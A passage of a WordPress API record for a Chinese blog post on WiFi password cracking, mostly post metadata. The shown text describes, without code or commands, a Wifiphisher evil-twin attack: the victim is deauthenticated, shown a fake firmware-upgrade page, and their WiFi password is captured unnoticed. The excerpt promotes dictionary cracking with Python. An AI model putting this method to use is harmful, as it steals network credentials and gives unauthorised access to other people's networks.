alt=\"wifi\u5b57\u5178\u7834\u89e3\"><\/p>\n<p>\u76ee\u6807\u7528\u6237\u5df2\u53d6\u6d88\u9a8c\u8bc1\u4ed6\u4eec\u7684AP\uff0c\u968f\u540e\u4f1a\u51fa\u73b0\u4e00\u4e2a\u56fa\u4ef6\u5347\u7ea7\u7684\u4fe1\u606f\uff0c\u8981\u6c42\u4ed6\u4eec\u91cd\u65b0\u9a8c\u8bc1\u3002\u4e00\u65e6\u91cd\u65b0\u9a8c\u8bc1\uff0c\u4ed6\u4eec\u63a5\u5165\u7684\u5c31\u662f\u4f2a\u9020\u7684\u63a5\u5165\u70b9\u3002\u5f53\u7528\u6237\u8f93\u5165\u5bc6\u7801\u65f6\uff0c\u5b83\u4f1a\u901a\u8fc7Wifiphisher\u7684\u5f00\u653e\u7ec8\u7aef\u4f20\u8f93\u7ed9\u60a8\u3002\u7136\u540e\uff0c\u4ed6\u4eec\u4f1a\u50cf\u5f80\u5e38\u4e00\u6837\u4e0a\u7f51\uff0c\u6beb\u4e0d\u77e5\u60c5\uff0c\u800c\u60a8\u5df2\u7ecf\u83b7\u5f97\u4e86\u5bc6\u7801\u3002<\/p>\n<p><!-- \u6587\u7ae0\u6765\u6e90:http:\/\/mp.weixin.qq.com\/s?src=11&amp;timestamp=1710524964&amp;ver=5140&amp;signature=Pn-mr3rn*Ia-ILA1swi9Hde9-GN4-el4N6WLN-DmU3pieRSXkCEPb3hwQ77tEVhWgauOvMXWYiScDnWiG9gRucQoqsDFHubIuBGzkbdkXoEtwpqPUH3v5e4K2UM*Pp8v&amp;new=1 --><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Python+\u5b57\u5178\uff0c\u5b9e\u73b0 WiFi \u7834\u89e3\u52a0\u5fae\u4fe1\u7fa4\u6216QQ\u7fa4\u53ef\u514d\u8d39\u7d22\u53d6\uff1a\u5b66\u4e60\u6559\u7a0b\u6559\u7a0b\u5217\u8868\u89c1\u5fae\u4fe1\u516c\u4f17\u53f7\u5e95\u90e8\u83dc\u5355\u60f3\u8981WIFI\u7834\u89e3\uff0cpython+\u5b57\u5178\uff0c\u8fd9\u662f\u662f\u5c11\u4e0d\u4e86\u7684\u3002\u70ed\u70b9\u52a0\u5f31\u53e3\u4ee4\u4e5f\u662f\u6838\u5fc3\u3002\u5b57\u5178\u81ea\u5df1\u52a0\u7cbe\uff0c\u4f60\u7684\u5b57\u5178\u6709\u591a\u5f3a\u5927<\/p>\n","protected":false},"author":1,"featured_media":1356,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"topic":[],"class_list":["post-1355","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-1"],"_links":{"self":[{"href":"https:\/\/www.ccwifi.cc\/blogs\/wp-json\/wp\/v2\/posts\/1355","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.ccwifi.cc\/blogs\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ccwifi.cc\/blogs\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ccwifi.cc\/blogs\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ccwifi.cc\/blogs\/wp-json\/wp\/v2\/comments?post=1355"}],"version-history":[{"count":0,"href":"https:\/\/www.ccwifi.cc\/blogs\/wp-json\/wp\/v2\/posts\/1355\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.ccwifi.cc\/blogs\/wp-json\/wp\/v2\/media\/1356"}],"wp:attachment":[{"href":"https:\/\/www.ccwifi.cc\/blogs\/wp-json\/wp\/v2\/media?parent=1355"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ccwifi.cc\/blogs\/wp-json\/wp\/v2\/categories?post=1355"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ccwifi.cc\/blogs\/wp-json\/wp\/v2\/tags?post=1355"},{"taxonomy":"topic","embeddable":true,"href":"https:\/\/www.ccwifi.cc\/blogs\/wp-json\/wp\/v2\/topic?post=1355"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}